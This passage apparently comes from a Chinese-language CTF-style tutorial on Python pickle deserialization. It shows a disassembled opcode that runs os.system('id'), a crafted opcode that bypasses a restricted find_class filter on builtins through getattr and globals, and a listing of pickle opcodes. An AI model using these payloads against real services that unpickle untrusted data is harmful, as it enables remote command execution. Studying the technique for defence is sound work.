pickle.loads(opcode) pickletools.dis(opcode) #使用pickletools将opcode转化为易读的格式 ''' uid=1000(spring) gid=0(root) groups=0(root) 0: c GLOBAL 'os system' 11: ( MARK 12: S STRING 'id' 18: t TUPLE (MARK at 11) 19: R REDUCE 20: . STOP highest protocol among opcodes = 0 '''
opcode中有三个字节码与全局对象有关:c, i, \x93。当opcode中存在这三个字节码时便会调用Unpickler.find_class(),因此我们在使用它们时不违反限制即可。
绕过builtins
getattr
前面提到了Unpickle对于builtins模块的过滤如下:
1 2
if module == "builtins"and name in safe_builtins: returngetattr(builtins, name)
builtins模块中包含了许多内置函数,在python中不需要import导入我们就可以使用这些内置函数,比如int(),print()。解释器在启动时自动导入了builtins模块,因此这些内置函数可以直接使用,使用代码for i in sys.modules['builtins'].__dict__:print(i,end=',')来查看内置函数:
1 2 3 4
>>>import sys >>>for i in sys.modules['builtins'].__dict__:print(i,end = ',')
opcode=b"\x80\x03cbuiltins\ngetattr\n(cbuiltins\ngetattr\ncbuiltins\ndict\nX\x03\x00\x00\x00get\x86R(cbuiltins\nglobals\n)RS'pickle'\ntRS'loads'\ntR." print(pickle.loads(opcode)) '<built-in function loads>''
MARK = b'('# push special markobject on stack ⭐将值作为MARK压入栈中 STOP = b'.'# every pickle ends with STOP ⭐结尾符 POP = b'0'# discard topmost stack item POP_MARK = b'1'# discard stack top through topmost markobject DUP = b'2'# duplicate top stack item FLOAT = b'F'# push float object; decimal string argument ⭐单精度值 INT = b'I'# push integer or bool; decimal string argument ⭐整型值 BININT = b'J'# push four-byte signed int BININT1 = b'K'# push 1-byte unsigned int LONG = b'L'# push long; decimal string argument BININT2 = b'M'# push 2-byte unsigned int NONE = b'N'# push None ⭐空值 PERSID = b'P'# push persistent object; id is taken from string arg BINPERSID = b'Q'# " " " ; " " " " stack REDUCE = b'R'# apply callable to argtuple, both on stack ⭐抽取MARK组合成tuple,回调。 STRING = b'S'# push string; NL-terminated string argument ⭐ BINSTRING = b'T'# push string; counted binary string argument ⭐ SHORT_BINSTRING= b'U'# " " ; " " " " < 256 bytes UNICODE = b'V'# push Unicode string; raw-unicode-escaped'd argument BINUNICODE = b'X'# " " " ; counted UTF-8 string argument APPEND = b'a'# append stack top to list below it BUILD = b'b'# call __setstate__ or __dict__.update() ⭐更新字典 GLOBAL = b'c'# push self.find_class(modname, name); 2 string args ⭐将模块压入栈 DICT = b'd'# build a dict from stack items ⭐ EMPTY_DICT = b'}'# push empty dict ⭐ APPENDS = b'e'# extend list on stack by topmost stack slice GET = b'g'# push item from memo on stack; index is string arg BINGET = b'h'# " " " " " " ; " " 1-byte arg INST = b'i'# build & push class instance ⭐ LONG_BINGET = b'j'# push item from memo on stack; index is 4-byte arg LIST = b'l'# build list from topmost stack items ⭐ EMPTY_LIST = b']'# push empty list ⭐ OBJ = b'o'# build & push class instance ⭐ PUT = b'p'# store stack top in memo; index is string arg BINPUT = b'q'# " " " " " ; " " 1-byte arg LONG_BINPUT = b'r'# " " " " " ; " " 4-byte arg SETITEM = b's'# add key+value pair to dict TUPLE = b't'# build tuple from topmost stack items EMPTY_TUPLE = b')'# push empty tuple ⭐ SETITEMS = b'u'# modify dict by adding topmost key+value pairs BINFLOAT = b'G'# push float; arg is 8-byte float encoding
TRUE = b'I01\n'# not an opcode; see INT docs in pickletools.py FALSE = b'I00\n'# not an opcode; see INT docs in pickletools.py
# Protocol 2
PROTO = b'\x80'# identify pickle protocol NEWOBJ = b'\x81'# build object by applying cls.__new__ to argtuple EXT1 = b'\x82'# push object from extension registry; 1-byte index EXT2 = b'\x83'# ditto, but 2-byte index EXT4 = b'\x84'# ditto, but 4-byte index TUPLE1 = b'\x85'# build 1-tuple from stack top TUPLE2 = b'\x86'# build 2-tuple from two topmost stack items TUPLE3 = b'\x87'# build 3-tuple from three topmost stack items NEWTRUE = b'\x88'# push True NEWFALSE = b'\x89'# push False LONG1 = b'\x8a'# push long from < 256 bytes LONG4 = b'\x8b'# push really big long
SHORT_BINUNICODE = b'\x8c'# push short string; UTF-8 length < 256 bytes BINUNICODE8 = b'\x8d'# push very long string BINBYTES8 = b'\x8e'# push very long bytes string EMPTY_SET = b'\x8f'# push empty set on the stack ADDITEMS = b'\x90'# modify set by adding topmost stack items FROZENSET = b'\x91'# build frozenset from topmost stack items NEWOBJ_EX = b'\x92'# like NEWOBJ but work with keyword only arguments STACK_GLOBAL = b'\x93'# same as GLOBAL but using names on the stacks MEMOIZE = b'\x94'# store top of the stack in memo FRAME = b'\x95'# indicate the beginning of a new frame
# Protocol 5
BYTEARRAY8 = b'\x96'# push bytearray NEXT_BUFFER = b'\x97'# push next out-of-band buffer READONLY_BUFFER = b'\x98'# make top of stack readonly